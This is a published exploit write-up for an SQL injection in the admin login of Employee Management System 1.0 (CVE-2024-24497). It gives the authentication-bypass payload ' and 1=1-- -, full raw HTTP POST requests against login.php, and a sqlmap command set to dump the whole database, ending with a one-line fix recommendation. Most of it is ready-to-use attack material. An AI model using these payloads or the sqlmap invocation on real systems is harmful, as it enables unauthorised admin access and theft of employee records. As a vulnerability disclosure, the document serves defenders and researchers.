Employee Management System 1.0 - `txtusername` and `txtpassword` SQL Injection (Admin Login)

# Exploit Title: Employee Management System 1.0 - `txtusername` and `txtpassword` SQL Injection (Admin Login)
# Date: 2 Feb 2024
# Exploit Author: Yevhenii Butenko
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2024-24497

### SQL Injection:

> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.

### Affected Components:

> /employee_akpoly/Admin/login.php

> Two parameters `txtusername` and `txtpassword` within admin login mechanism are vulnerable to SQL Injection.

![txtusername](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtusername_sqli.png?raw=true)
![txtpassword](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtpassword_sqli.png?raw=true)

### Description:

> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.

## Proof of Concept:

### Manual Exploitation

The payload `' and 1=1-- -` can be used to bypass authentication within admin login page.

```
POST /employee_akpoly/Admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_akpoly/Admin/login.php
Cookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

txtusername=admin' and 1=1-- -&txtpassword=password&btnlogin=
```

### SQLMap

Save the following request to `admin_login.txt`:

```
POST /employee_akpoly/Admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_akpoly/Admin/login.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

txtusername=admin&txtpassword=password&btnlogin=
```

Use `sqlmap` with `-r` option to exploit the vulnerability:

```
sqlmap -r admin_login.txt --level 5 --risk 3 --batch --dbms MYSQL --dump
```

## Recommendations

When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.